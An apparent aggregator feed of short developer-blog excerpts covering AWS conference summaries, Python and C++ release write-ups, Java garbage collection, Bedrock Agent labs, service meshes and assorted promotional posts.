    Speaker: Richard Lin @ AWS Amarathon 2025 Summary by Amazon Nova Open source is characterized as a cross-border collaboration method rather than a mere technical option. Engineers from different parts of the world can become collaborators through open source, despite never having met. For hackers, open source represents a shared journey and a means to contribute to a collective effort. For commercial projects, open source signifies an opportunity to engage with a global community and enhance product-market fit. The globalization of technology is driven by reputation, relationships, and trust, emphasizing "actions speak louder than words." The concept of "Community Over Code" highlights the importance of long-term community building. Developers are influenced more by neutral, tr…  ( 7 min )
    AI & Development: Avoiding Common Traps
    Seamlessly Handling PrestaShop's Dynamic DB Prefixes with Doctrine Developing modules for PrestaShop using Doctrine can often lead to a perplexing issue: the dreaded "Base table or view not found" error, even when you're certain your table exists. This common pitfall arises because PrestaShop dynamically prepends a prefix to its database tables, a detail Doctrine's default behavior overlooks. Having navigated PrestaShop development for over 15 years, I've seen this specific problem derail countless projects. Today, I'm excited to share an elegant and robust method to resolve this using a custom Doctrine event subscriber. Picture this scenario: You've meticulously crafted your Doctrine entity with precise annotations, and you fire off your inaugural query. Suddenly, you're greeted with a …  ( 10 min )
    Architecting for Efficiency and Reliability with Performance Testing at Scale
    Speaker: Luis Guirigay @ AWS Amarathon 2025 Summary by Amazon Nova Testing Categories: Code Testing: Code Analysis, Unit Testing Integration & Interface: Contract Testing, Interface Testing Functional: User Acceptance, Regression Testing Non-Functional: Performance Testing, Chaos Engineering End-to-end Testing: Comprehensive testing covering all aspects Performance Metrics: Load: System performance under expected usage Stress: Evaluate system behavior under extreme load conditions Endurance: Sustained load testing to identify long-term issues Scalability: Measuring performance under growing user/transaction volume Spike: Rapidly increasing or decreasing load to assess resilience and behavior Volume: Evaluates the impact of handling large amounts of data Measurement …  ( 7 min )
    Kopia: Giải pháp sao lưu mã nguồn mở hiệu quả
    Kopia: A Comprehensive Open-Source Backup Solution for Modern Developers In the realm of data management, robust and reliable backup solutions are paramount. Kopia stands out as a free, open-source, and cross-platform utility meticulously designed for Linux, macOS, and Windows environments. It empowers users with a sophisticated yet accessible toolset for safeguarding their digital assets. *Core Functionalities: Rapid Incremental Backups: Kopia excels at performing quick incremental backups, ensuring that only the changed data is backed up, thereby saving time and resources. This feature is crucial for frequent backup schedules. Client-Side End-to-End Encryption: Data security is a top priority. Kopia implements robust client-side end-to-end encryption, guaranteeing that your sensitive information remains confidential and protected from unauthorized access, even before it leaves your local environment. Compression: To optimize storage space and reduce the overall size of backups, Kopia incorporates efficient compression algorithms. Data Deduplication: Kopia intelligently identifies and eliminates redundant data across backups, further enhancing storage efficiency and minimizing the amount of space required. Accessibility and Usability: As an open-source project, Kopia benefits from community contributions and continuous development, making it a dynamic and evolving solution. It represents a significant contribution to the open-source ecosystem, providing essential data protection capabilities without the cost barrier. Stelixx #StelixxInsights #IdeaToImpact #OpenSource #BackupSolution #Tech #DataProtection #Linux #macOS #Windows #DevTools #Programming #Development  ( 7 min )
    Newsletter section #grid #scss
    Check out this Pen I made!  ( 5 min )
    My First Software Release: Repo-Context-Packager
    Releasing software sounds simple in theory, but I quickly learned how many small decisions are involved in making an app usable by real people. For my Repo-Context-Packager project, I needed to choose a release method that would allow non-developers to install and run the tool with as little setup as possible. Since this is a C++ command-line program with no external dependencies, I initially experimented with Conan, a package manager for C++ projects. However, I ran into installation and PATH issues on Windows, and I realized that using a package registry was adding unnecessary complexity. Instead, I chose a more direct and user-friendly approach: distributing a prebuilt executable through GitHub Releases. This gave me a simple and reliable way to make the tool available to anyone with a …  ( 7 min )
    🧹 The Garbage Collector of Java City — A Story About Memory and Mess
    Welcome to Java City — a place where objects live, work, and sometimes… get forgotten. Every time you write: new Employee("Shweta"); You’re actually building a house in Java City and moving someone in — in this case, Employee Shweta. Thousands of such objects are created every day — Employees, Invoices, Strings, Lists… At first, everything is fine. Each object has a place to live. No one remembers them anymore. 🧍‍♂️ The Forgotten Citizens An old UserSession that’s no longer active. All these are forgotten citizens of Java City — still occupying homes, but no one knows they’re there. Left unchecked, the city would soon run out of land — 🧹 The Arrival of the Garbage Collector That’s when the Garbage Collector (GC) arrives — He walks through every street, checking: “Is anyone still referencing this house?” If no one answers — the GC marks that house for demolition. No ceremony. No drama. Just quiet cleanup. ⚙️ The GC’s Secret Art — Mark and Sweep It’s not random destruction. Mark phase: Sweep phase: This process keeps the city alive and thriving — without developers manually deleting anything. 💡 The Modern Twist — Different Neighborhoods Java City has multiple zones: Young Generation → Where new objects are born. Old Generation → Where long-living ones settle. Metaspace → Where class definitions live. The GC behaves differently in each area: ⚠️ When the GC Gets Overworked Even the best janitor has limits. If you keep creating new objects faster than GC can clean up — You’ll see pauses, lag, even stop-the-world events — That’s when tuning memory, reducing object creation, and reusing resources become crucial. 💬 The Moral The Garbage Collector isn’t magic — it’s your ally. It saves you from the chaos of manual memory management. So the next time your app slows down, “I’m cleaning as fast as I can.” 🧹 👩‍💻 About the Author Shweta is a Technical Lead who explains backend and cloud concepts through simple, story-driven examples and real-world developer insights.  ( 7 min )
    🚀 Code Tracker AI™ — A Smarter, Healthier Way to Build Software
    🧠 What Is Code Tracker AI™? Code Tracker AI™ is an AI-powered development companion built to be ethical, private, and genuinely useful. ✨ Core Features ✨ AI Code Insights 🖼️ Current UI Prototype (Evolving) CODE TRACKER AI—current UI design (active development). It’s built for developers who want clarity and flow—not chaos. 🎨 A New Website That Matches the Vision The new site is designed to feel like the actual product: Dark, developer-first aesthetics Smooth animations Interactive panels Feature-rich walkthroughs Updated branding Cleaner navigation You can now understand the mission of Code Tracker AI in seconds—and dive deeper into the details with ease. 🧬** Why I’m Building This Developers deserve tools that don’t just push output but protect your mind, time, and intellectual property. Code Tracker AI™ focuses on: ✔ Reducing burnout This isn’t another “AI assistant.” 🛠 What’s Coming Next Here’s what’s currently on the roadmap: 💬 Code Tracker AI Assist (Built-in chat—no third-party integrations required) If you want early access, updates, and priority invites when the JetBrains plugin goes live: 👉 Join the waitlist: https://codetrackerai.com/ Early testers will receive: Access to the beta Influence on features Direct founder communication Early adopter benefits ❤️ Thank You Thank you to everyone who’s supported this project. If you’re a developer who cares about your workflow and wellness, this was built for you. Thanks, mona@codetrackerai.com  ( 7 min )
    Daily Times - Classic Newspaper Homepage Template
    Check out this Pen I made!  ( 6 min )
    From image to HTTPS endpoint in one step with ECS Express Mode
    Amazon ECS: From EC2 Managed to Express Mode Amazon ECS has evolved significantly over the years—from managing EC2 container instances manually, to the introduction of Fargate for serverless containers, making infrastructure management seamless. For developers or anyone new to containers, the priority is deploying applications at pace without complexity. Recently, AWS introduced ECS Managed Instances to simplify launching workloads further. Now the big leap is ECS Express Mode. Express Mode lets you deploy containerized applications in a single step. Upload your container image from Amazon ECR, optionally specify basic resources like vCPU and memory, or skip resource input to use defaults. Express Mode automatically provisions all necessary AWS infrastructure for you: Application Load Ba…  ( 8 min )
    Understanding the Transaction Lifecycle: A Deep Dive into Hedera SDK Documentation
    As part of my ongoing contributions to the Hedera SDK Python project, I recently tackled issue-864, which involved creating a beginner-friendly documentation page explaining the transaction lifecycle in the Python SDK. This was my latest Pull Request, and it provided an excellent opportunity to deepen my understanding of Hedera's transaction mechanics while improving the project's developer resources. I'll walk through what I did, the process I followed, the lessons learned, and how this fits into my overall progress toward mastering open-source contributions. SDK users often grasp what transactions do: creating accounts, minting tokens but struggle with how the transaction lifecycle works in the Hedera Python SDK. The typical flow isn't always intuitive, especially for newcomers. Users mi…  ( 7 min )
    Optimizing Your Workspace: Lessons Developers Can Take from the Kitchen
    As developers, we spend most of our day optimizing code, automating processes, and thinking about efficiency. But here’s a twist: sometimes, the same principles we apply to software can make our physical workspace more productive too. Take the kitchen, for example. It might sound unrelated, but a cluttered sink and disorganized counters are basically the technical debt of real life. Messes pile up, small tasks become frustrating bottlenecks, and efficiency drops. Just like in coding, prevention is better than firefighting. I recently discovered a concept that works both in code and in the kitchen: modular organization. In software, modularity keeps your code clean, reusable, and scalable. In a kitchen, it’s about giving every item its dedicated “module.” A sponge has a spot, dishcloths have racks, and everything else has a home. Tools like this bring this philosophy to life in the kitchen — a simple magnetic holder or drying rack instantly reduces friction in your daily workflow. The lesson is clear: whether it’s digital or physical, small, deliberate systems reduce mental load. Developers love automation, but sometimes the “manual automation” of organizing your physical space can save hours of frustration. Just like refactoring messy code, reorganizing your desk or sink area has outsized benefits for efficiency and mental clarity. So next time you’re debugging a gnarly function or dealing with merge conflicts, glance at your surroundings. A clean, structured environment can actually make your brain work better. And if your kitchen sink is part of your dev workspace (hello, remote workers!), a few smart tools from Happy Sinks can keep that area just as optimized as your codebase.  ( 7 min )
    Daily Tech News Roundup - 2025-11-22
    Daily Tech News Roundup Stay up-to-date with the latest tech happenings! Today's roundup covers everything from a founder's unique path to Silicon Valley to Google's AI training practices and early Black Friday deals. Read on for the most important tech news of the day. Unlikely Path to Industrial Tech Success A young founder's unconventional background is proving to be an advantage in the industrial tech world. Initial skepticism from older executives quickly turns to respect as his fresh perspective and innovative ideas shine through. This highlights the value of diverse experiences in traditionally established industries. Source 'Jmail' Exposes Epstein Emails The infamous Jeffrey Epstein emails are now accessible in a reformatted "Jmail" inbox. This allows researchers and the public to …  ( 7 min )
    What if AI does my job How Q Developer CLI and Kiro have changed my daily routine
    Speaker: Miguel Angel Muñoz @ AWS Amarathon 2025 Summary by Amazon Nova What I Do Overview of the author's professional activities and responsibilities. Detailed sections covering various aspects of the author's work: Amazon Reference Technical Reference New Projects Problematic Projects Core Projects Business Initiatives Areas needing assistance Q Developer CLI and Kiro Saves Me, I didn't like GenAI, Q Developer CLI Discussion on the utility of Q Developer CLI and Kiro. Personal dislike for GenAI. Specific praises for Q Developer CLI. How They Works Explanation of the functioning and mechanisms of the tools mentioned. Amazon MCP Servers Super Powers CLI Commands Knowledge Pricing Git Research Terraform Agentic Loop (Q Developer CLI) Description o…  ( 7 min )
    Why Ergonomics Matters for Developers (and How Small Tools Can Make a Big Difference
    If you spend 8–12 hours a day in front of a screen, you know the struggle is real: sore wrists, tight shoulders, and that slow, creeping back pain that makes debugging a minor nightmare feel like climbing Everest. As developers, we often obsess over code quality, deployment pipelines, or the latest framework—but we forget the most important part of our “stack”: our bodies. Long hours at a desk are brutal on your joints, and poor ergonomics can silently tank your productivity. Trust me: no amount of caffeine or standing desk upgrades can fully compensate for neglected ergonomics. You might not realize it, but simple movements like typing, scrolling, or lifting your laptop or monitor can affect wrist and forearm health. Over time, this can lead to chronic discomfort—or worse, repetitive stra…  ( 8 min )
    Five Hard Lessons from Five Years of So-Called Serverless Databases
    Speaker: Renato Losio @ AWS Amarathon 2025 Summary by Amazon Nova Five Hard Lessons from Five Years of So-Called Serverless Databases Serverless is not Serverless. Or Vice Versa? Introduction of serverless databases on Amazon Web Services Aurora Serverless v1 GA (2018-08) DynamoDB On-Demand (2018-11) Amazon Timestream (2020-09) Aurora Serverless v2 Preview (2020-12) Aurora Serverless v2 GA (2022-04) Redshift Serverless (2022-07) Amazon Neptune Serverless (2022-10) ElastiCache Serverless (2023-11) Amazon DSQL (2025-05) DocumentDB Serverless (2025-07) What about... Amazon S3 Amazon SQS Amazon Route 53? Storage is Underrated Aurora Serverless v2 scales instantly to support even the most demanding applications, delivering up to 90% cost savings compared to p…  ( 7 min )
    Unlocking TrendRadar: AI-Powered News Analysis
    Introduction TrendRadar is an innovative tool designed to simplify news monitoring and analysis. With the ability to track 35 platforms, including Douyin, Zhihu, and Bilibili, it provides a comprehensive overview of current trends and sentiment. In today's information age, staying updated with the latest news and trends can be overwhelming. Manual tracking and analysis of news from multiple sources is time-consuming and prone to errors. TrendRadar offers a solution to this problem by leveraging AI to analyze news and provide insights. Its key features include: Multi-platform tracking: Monitor news from 35 platforms in real-time AI-powered analysis: Utilize natural language processing to extract insights and trends Customizable notifications: Receive updates via enterprise WeChat, personal WeChat, Feishu, DingTalk, Telegram, email, or ntfy Easy deployment: Deploy TrendRadar in 30 seconds via web or 1 minute via mobile, no coding required ## Code Snippet To get started with TrendRadar, users can deploy it using Docker. Here's an example of how to run TrendRadar using Docker: docker run -d --name trendradar -p 8080:8080 sansan0/trendradar TrendRadar is a powerful tool for news monitoring and analysis. Its ability to track multiple platforms and provide AI-powered insights makes it an invaluable resource for individuals and organizations looking to stay informed about the latest trends and sentiment. Analysis by AEGIS Protocol  ( 6 min )
    Rick Beato: Where Have All The Metalheads Gone?
    Where Have All The Metalheads Gone? dives into the past, present and future of heavy metal, exploring why the scene feels so different these days and where it might be headed next. Huge shout-out to the Beato Club supporters—Justin Scott, Terence Mark, Jason Murray, Lucienne Kilpatrick, Alexander Young, Jason Wagner, Todd Ladner, Rob Kline, Nicholas Long, Tim Benson, Leonardo Martins da Costa Rodrigues, Eddie Perez, David Solomon and many more—whose support keeps the metal conversations rolling. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    TL;DR CinemaSins is back on the yellow brick road, mining all the sins in The Wiz now that Wicked’s making a splash in theaters again. Expect their trademark snark, nitpicks and a speedy teardown of every questionable moment in under 15 minutes. Want more sinful content? Hit up their website, socials, Discord or Reddit; fill out their poll; or become a patron. The video’s crew is Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and they’ve got all the links you need in their link tree. Watch on YouTube  ( 6 min )
    I built AppInfo - see what apps are actually doing on your phone 📱
    Just dropped my baby on the Play Store – here’s the link upfront (no scrolling required): https://play.google.com/store/apps/details?id=thanh.pro.appinfo What it does (the short version): 🛡️ Explains permissions in plain English: Stop guessing what a permission does. Just tap it for a simple explanation of the risk. 🖼️ Exports a "stat sheet": Creates a clean PNG image of an app's entire tech info and permissions list. Great for bug reports. 🤓 All the nerd stats: Package name, Target SDK, install times, and all that good stuff. It's got a clean Material 3 design, full dark mode, and actually respects your privacy because it can't even connect to the internet. Would love for you to try it out and let me know what you think!  ( 6 min )
    Common Coding Mistakes at Every Level (And How to Fix Them)
    There's this moment that happens to every developer—usually around 2 AM, bathed in the cold glow of a monitor, fingers hovering over the keyboard like a pianist about to perform Rachmaninoff—when you realize that the bug you've been hunting for three hours was caused by a typo. Not even an interesting typo. Just a missing semicolon, or a variable named uesr instead of user. And in that moment, you feel the entire weight of human fallibility pressing down on your shoulders. I've been writing code for longer than I care to admit, and here's what I've learned: we all make mistakes. Every single one of us. The junior developer who just finished their bootcamp, the mid-level engineer grinding through their third microservice migration, the senior architect who's forgotten more programming langu…  ( 53 min )
    Python Registry Pattern: A Clean Alternative to Factory Classes
    Every codebase has that one factory/builder nobody wants to touch. It starts out innocent, but two years and ten features later, it's mutated into a 500-line if-else monstrosity: class FishFactory: def create_fish(self, fish_id: int, water_type: str, depth: int, is_holiday: bool) -> Fish: if fish_id == 1: return ClownFish() elif fish_id == 28: # TODO: have Brian fix this later - 06/12/2016 if water_type == "SALT" or water_type == "SALTY": return BlueTang() elif water_type == "FRESH": return RoboticBlueTang() elif fish_id == 3: if depth > 100: return DeepSeaGramma() elif is_holiday: return RoyalChristmasGramma() elif …  ( 13 min )
    Understanding Linux distros (and how to pick one)
    "Top 10 distros for gaming" These are the type of articles that show up when you're a new user trying to switch to Linux. Most of the time, such articles don't make the distinction between distros clear enough that users can compare them. This article aims to break down the basic components that make up a Linux distro, and see how popular distros differ in these aspects. While there are lots of components that shape a distro, I'll be focusing on the main ones that matter to a new user: desktop environment package manager package freshness display server This is the "frontend" of the distro. It's the GUI components that you interact with, such as the taskbar, the window decorations, the tab switcher, and so on. Most desktop environments can be classified as either Qt or GTK-based. When pi…  ( 11 min )
    Packaging and Releasing ContextWeaver for Lab 9
    For my lab, I worked on my repo ContextWeaver and I used Python’s packaging tools and published my project on TestPyPI using build and twine, since Python packages are all managed through PyPI and TestPyPI. The process was pretty detailed. I had to reorganize my code into a proper src/contextweaver structure, create a pyproject.toml with all the metadata, bump versions every time I re-uploaded, build the package using python -m build, and then upload it with twine. I learned a lot about how strict packaging actually is especially versioning (you can’t reuse a version, or TestPyPI will reject it), and how the description shown on PyPI actually comes from your README.md. My “aha” moment was realizing that I had to update the version and pull the changes locally before rebuilding, otherwise I’d keep uploading the wrong version. I didn’t need to change my code logic, but I did have to clean up my file structure and add installation sections to my README so it made sense for real users. For user testing, I asked my friend to follow only the README, and they immediately got confused about installation, Python version, and how to run the CLI. I took notes and updated the README to include installation (pip install), Python 3.10+ requirement, CLI examples, and troubleshooting. Now users can install my project with a simple pip install contextweaver, and they can run it using commands like contextweaver . -o snapshot.txt. Overall, the release process forced me to think about how a real user would experience my project, and updating the documentation made a huge difference.  ( 6 min )
    Release 0.3 — Normalizing Unicode for Event Text
    For my second PR, I worked on improving Unicode handling across event data, specifically addressing a bug where diacritics and accented characters were displaying incorrectly in event summaries, descriptions, and locations in Open Web Calendar project. This issue affected international users whose calendars contained characters like á, ñ, ü, and ø. To fix this, I explored the ICS conversion process in events.py, added a normalization function using Python’s unicodedata.normalize("NFC"), and made sure it applied consistently to all text fields before being passed to the frontend. This required reading through the ICS parser, learning how the project structures event data, and testing with sample ICS files that contained accented characters to verify the fix. Compared to my earlier assignments, this PR felt more like real open-source work, debugging a subtle data-handling issue, updating backend code, and manually validating changes across the UI. This contribution helped me get comfortable modifying a larger codebase and taught me how to approach encoding problems that don’t always produce obvious errors but have a real impact on user experience.  ( 6 min )
    Release 0.3 — Fixing All-Day Events Displaying as Two Days
    For my first PR in Release 0.3, I decided to fix an issue in the Open Web Calendar project where all-day events were showing incorrectly as two-day spans. This bug had been reported by multiple users and required me to go deeper into the frontend event-rendering logic in calendar.js. I started by running the project locally, comparing real ICS behavior, reading the DHTMLX scheduler documentation, and tracing how the app determines whether a start and end time represent a one-day duration. Eventually I discovered that ICS all-day events use an exclusive end date, which meant the calendar was interpreting them as starting at midnight on Day 1 and ending at midnight on Day 2. My fix adjusted the date-handling logic so that if both timestamps begin at 00:00, the end date is automatically shifted back by one day. I tested this using multiple ICS files and confirmed that the calendar now displays all-day events cleanly as a single day. This PR pushed me to analyze JavaScript code more deeply than I did in Release 0.2, and it helped me better understand how calendar systems handle date boundaries.  ( 6 min )
    Unlocking Speed: Certified Symmetry Breaking with Auxiliary Variables
    Unlocking Speed: Certified Symmetry Breaking with Auxiliary Variables Imagine coordinating thousands of servers in a massive data center. Now, picture ensuring they're all running the most efficient tasks without any redundancy, a feat previously plagued by uncertainty. Symmetry breaking, a critical optimization technique, makes this possible, but ensuring its correctness has always been a challenge. That's where this new approach changes everything. At its core, this breakthrough introduces a novel way to represent the order of operations during symmetry breaking. Instead of relying on bulky, unwieldy large integers to define these relationships, the new method uses a system of 'helper' variables. These auxiliary variables streamline the representation, leading to significantly faster c…  ( 7 min )
    React Suite v6: A Steady Step Toward Modernization
    React Suite (rsuite) v6 is now available. This release focuses on modernizing the foundation: the styling system has been rebuilt, new layout primitives were added, and responsiveness plus the overall developer workflow received targeted improvements. The goal is to keep the library stable while making it easier to adapt to contemporary UI requirements. The most fundamental change in v6 is the migration from Less to SCSS with CSS variables as the primary theming interface. Updating theme values is now as simple as overriding variables at runtime—no rebuilds or tooling tweaks required. Consult the CSS Variables guide for the full variable list, and try the Palette tool to fine-tune brand colors visually. Logical properties: margin-inline-start etc. replace physical properties for native RT…  ( 8 min )
    🎓 Capstone Project Completed! 🚀
    AI-Powered Customer Master Data Management (MDM) Hey everyone! 👋 I tackled a real-world challenge: duplicate and inconsistent customer data across multiple systems. My solution is an end-to-end AI-powered Customer Master Data Management (MDM) platform that: 🔹 Detects duplicate and partial-match records using ML embeddings ✨ Key Features: API data ingestion Scoring and confidence interval computation using Drools rule engine Embedding-based similarity matching using Sentence Transformers k-NN semantic search with OpenSearch Data Stewardship View 🛠️ Tech Stack: replit.com + Java Spring Boot (Backend) OpenSearch for search + k-NN Sentence Transformers (all-MiniLM-L6-v2) for embeddings lovable.dev (Front End) Drools Rule Engine 🎯 Outcome: This project gave me hands-on experience solving a real enterprise data challenge, and I am proud of the results! 😄 Happy to share demo / architecture if anyone is interested! 🚀 IITPatnaCapstone #GenAI #AIProjects #Capstone #LearningJourney #IITPatna #GenerativeAI  ( 6 min )
    The Secret Life of Go
    Chapter 1: The Archives Below The rain arrived without warning, as rain in Manhattan so often does—one moment the October sky was merely gray and brooding, the next it was releasing sheets of water that sent pedestrians scrambling for awnings and doorways. Ethan, clutching a laptop bag that was definitely not waterproof, ducked into the first open door he found. The Whitmore Branch of the New York Public Library occupied a narrow Beaux-Arts building on a quiet street in lower Manhattan, wedged between a Korean grocery and a law office. Ethan had walked past it a hundred times during his four years at NYU and had never once gone inside. He stood now in the small foyer, water dripping from his hair onto the marble floor, and took in the unexpected grandeur: coffered ceilings painted in fad…  ( 14 min )
    Publish the repo-context-packager
    Introduction After weeks of development, testing, and CI setup, it was time to share this tool with the world. The Repository Context Packager had proven useful locally, but making it installable via npm would let others use it without cloning the repo. Well, this is not my first npm release, but this blog documents my journey from a local CLI tool to a published npm package—the challenges, solutions, and lessons learned along the way. Chose npm as the package registry (the standard for Node.js/TypeScript projects) Published as scoped package: @tajudeen/repo-context-packager@1.0.3 Configured package.json with bin field for CLI installation, files field for clean publishing, and postbuild script for shebang injection Resolved package name conflict by using scoped package naming Updated …  ( 9 min )
    **Importante**: La prevención del lavado de dinero y la fina
    Importante: La prevención del lavado de dinero y la financiación del terrorismo es fundamental para la estabilidad financiera y la seguridad nacional. Sin embargo, existen errores comunes en la implementación de sistemas de prevención que pueden comprometer la eficacia de estas regulaciones. Error común: Reportes tardíos de Operaciones con Recursos de Procedencia Ilícita (ORPI). Consecuencia: La falta de detección oportuna de transacciones sospechosas puede permitir que el dinero ilícito circule por el sistema financiero, violando la Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita (LFPIORPI). Propuesta de corrección: Implementar un sistema de detección automatizado de ORPI que integre tecnologías de Inteligencia Artificial (IA) y Aprendizaje Automático (ML) para análisis en tiempo real de transacciones y alertas personalizadas para los responsables de cumplimiento. Tecnología innovadora: TarantulaHawk.ai, una plataforma de IA SaaS especializada en Prevención del Lavado de Dinero (PLD), ofrece soluciones avanzadas para la detección y prevención de ORPI, basadas en algoritmos de ML y entrenamiento con datos de casos reales. La reforma de la LFPIORPI de 2025 incluye cambios importantes en la regulación de PLD, enfatizando la necesidad de implementar tecnologías de IA y ML para mejorar la eficacia y la eficiencia en la prevención del lavado de dinero y la financiación del terrorismo. Es fundamental recordar que la implementación efectiva de sistemas de PLD requiere no solo la tecnología adecuada, sino también la capacitación y la conciencia de los responsables de cumplimiento y las instituciones financieras. Por lo tanto, es crucial adoptar tecnologías de IA y ML de manera responsable y ética, como la plataforma TarantulaHawk.ai, para mejorar la prevención de ORPI y contribuir a la estabilidad financiera y la seguridad nacional. Publicado automáticamente  ( 7 min )
    Myth: AI powers Netflix's ability to curate a perfect list o
    Myth: AI powers Netflix's ability to curate a perfect list of recommended shows and movies that you actually want to watch. Reality: While AI does play a significant role in content recommendation, it's not as straightforward as matching individual viewer preferences with content. In reality, Netflix uses a combination of collaborative filtering, content-based filtering, and knowledge-based systems to deliver personalized recommendations. Collaborative filtering analyzes viewing habits of similar users to suggest content, content-based filtering focuses on attributes of the content itself, such as genres and directors, and knowledge-based systems incorporate domain knowledge about genres, directors, and other metadata to make informed decisions. What's more, human curation plays a crucial role in evaluating and refining AI-driven recommendations, incorporating factors like cultural context and social relevance. This hybrid approach ensures that AI recommendations are both data-driven and context-aware, making them more accurate and engaging for users. Publicado automáticamente  ( 6 min )
    API Basics: Learning the Fun Side of APIs!
    Hey there, fellow tech explorers! 🚀 Ever wondered what an API is and why it's the coolest kid on the block? Well, buckle up, because we’re about to dive into the world of APIs with a sprinkle of humor and a dash of wit! What is an API? In tech terms, an API (Application Programming Interface) is like that waiter. It’s a set of rules that allows different software applications to communicate with each other. Think of it as the bridge that connects your app to the vast world of data out there! Why Should You Care? Start Small: Begin with simple APIs. Check out public APIs that offer free data. service@ip2world.com. And if you’re curious to learn more, don’t forget to visit our website: http://www.ip2world.com/?utm-source=yl&utm-keyword=?zq. So, what are you waiting for? Dive into the world of APIs and unleash your inner tech wizard! 🧙‍♂️✨ Happy coding!  ( 7 min )
    Recent research emphasizes that AI model training and deploy
    Recent research emphasizes that AI model training and deployment can significantly impact carbon footprints due to the massive computational resources required. A study published in the Journal of Machine Learning Research highlights that the majority of AI's carbon emissions arise from the energy consumed by data centers housing these resources. Key finding: Practical impact: Publicado automáticamente  ( 6 min )
    As AI-driven diagnosis and treatment plans become increasing
    As AI-driven diagnosis and treatment plans become increasingly prevalent in healthcare, a crucial question arises: to what extent can AI be considered 'co-author' rather than just 'co-reader' of medical literature and clinical decision-making processes? Should AI's capacity for processing vast amounts of data and identifying patterns be granted equal, or near-equal, weight to human clinicians' expertise when developing or modifying treatment plans, or would this compromise the nuances of human clinical judgment and patient-specific care? Publicado automáticamente  ( 6 min )
    Amazon Bedrock Agentcore & System Design
    The recent general availability of Amazon Bedrock Agentcore marks a significant milestone in the evolution of AI-powered applications on AWS. While Bedrock has already established itself as a leading platform for building and scaling generative AI solutions, Agentcore pushes the ecosystem further by offering a more unified runtime for orchestrating agents, managing memory, integrating tools, and enabling complex workflows. This GA release doesnt just expand AWSs AI portfolioit accelerates how quickly teams can design, deploy, and iterate on intelligent, autonomous systems. Over the past months, a wave of technical content has emergeddeep dives into the Agentcore runtime, gateway integrations, memory persistence models, tool management, and more. These resources are incredibly valuable for …  ( 14 min )
    Mi Agente se Rebeló: Intentando Crear un Bedrock Agent con S3 (y el Famoso Error '[retrieved information]'
    TL;DR En este lab vas a construir un Bedrock Agent totalmente funcional que puede: Leer tus documentos en S3 Extraer información Ejecutar funciones Responder preguntas de forma estructurada Razonar paso a paso usando Amazon Nova Micro Todo 100% desde la consola, sin Studio ni código manual. Aprenderas a: Tiempo estimado: 20–30 min Bedrock Agents, S3, IAM Decidí crear este lab porque quiero entender cómo funcionan los agentes de IA en AWS de forma simple, práctica y explicable. Quiero poder guiar a otros, enseñar conceptos de GenAI sin complejidad innecesaria y construir demos útiles para mi portfolio técnico. Campo Valor Categoría CB AI/ML Servicios AWS Amazon Bedrock Agents, Amazon S3 Requisitos previos Cuenta AWS, S3 + Bedrock habilitados, región us-east-1 Costos estimados B…  ( 13 min )
    I Built a Bedrock Agent for Learning… And It Definitely Took That Mission Seriously
    TL;DR In this lab you’re going to build a fully functional Bedrock Agent that can: Read your documents in S3 Extract information Execute functions Answer questions in a structured way Reason step by step using Amazon Nova Micro All 100% from the console, no Studio and no manual code. You will learn to: Create a bucket, upload PDFs, create an Agent, add Actions, connect S3, test with real questions, and validate responses using grounding. Estimated time: 20–30 min I decided to create this lab because I want to understand how AI agents in AWS actually work in a simple, practical, and explainable way. I want to guide others, teach GenAI concepts without unnecessary complexity, and build useful demos for my technical portfolio. Field Value CB Category AI/ML AWS Services Amazon Bedrock…  ( 12 min )
    Build Claude Desktop Extensions in Minutes with QuickMCP.NET
    Hey developers! Remember the last time you tried to integrate a REST API with Claude Desktop? Yeah, me too. It involved reading through MCP docs, writing YAML configs, figuring out authentication, and probably a few frustrated sighs. What if I told you there's a better way? A way that involves one command and lets AI do the heavy lifting? Let me introduce you to QuickMCP.NET - specifically its brand new Claude Desktop Extension Builder. Trust me, this is going to blow your mind. You've got a REST API. Maybe it's your company's internal API, maybe it's Stripe, GitHub, or that quirky microservice Bob built. You want Claude to interact with it. So you dive into the Model Context Protocol docs and realize you need to: Write an MCP server configuration Configure authentication (API keys, OAuth,…  ( 13 min )
    Introducing GistPad.com – A Secure Pastebin for Developers
    👋 Hey Dev.to, I’m new here! I just joined Dev.to and thought I’d introduce myself by sharing a project I’ve been building: GistPad.com. It’s basically a modern pastebin, but with a focus on privacy and usability. If you’ve ever needed to share a quick code snippet or a block of text, you know the pain of messy links, no syntax highlighting, or worrying about who can see it. GistPad.com tries to fix that. You can save snippets with syntax highlighting for tons of languages. Decide if your paste is public, unlisted, or private (with password protection or expiration timers). Every paste keeps a version history, so you can roll back if needed. Teams can use shared workspaces with tags, search, and audit logs. And if you’re into automation, there are raw links, embeds, APIs, and webhooks. Why I built it I’m a developer and security researcher, and I kept running into situations where I needed to share code securely without relying on outdated tools. GistPad.com grew out of that need — something simple, fast, and trustworthy. I’d love to hear what you think. Is it useful? What features would make it better? Feedback from communities like Dev.to is exactly what helps projects like this grow. 👉 You can check it out here: https://gistpad.com  ( 6 min )
    Service Mesh Explained: When You Actually Need Istio or Linkerd
    Introduction Service meshes have become one of the most talked-about technologies in cloud-native infrastructure. But amid the hype, a critical question often gets overlooked: Do you actually need one? A service mesh adds significant complexity to your infrastructure. For some organizations, it solves critical problems and pays for itself immediately. For others, it's unnecessary overhead that slows development and increases operational burden. In this comprehensive guide, we'll explore what service meshes are, when they're genuinely needed, and how to choose between the leading options: Istio and Linkerd. A service mesh is a dedicated infrastructure layer for handling service-to-service communication. It provides features like traffic management, security, and observability without requ…  ( 14 min )
    Continuous Contribution for Hiero SDK Python - Release 0.3
    For this release 0.3, I continued to work on the https://github.com/hiero-ledger/hiero-sdk-python repository. My initial goal was not just to solve an issue and open a pull request for Hacktoberfest, but also to continue working on real projects, thereby understanding professional workflows such as proper Git rebasing, writing clean commits, detailed pull requests, ensuring I follow contribution rules, and documenting changes. I worked on issue #829, which required adding a real example of how to use fee_schedule_key in token creation within the Hiero SDK. While this Software Development Kit supported the functionality, there was no documented usage example, and users reading the documentation could not see how to apply it in practice. My task involved: Creating a runnable example in toke…  ( 7 min )
    SvelteKit Surreal Database Authentication
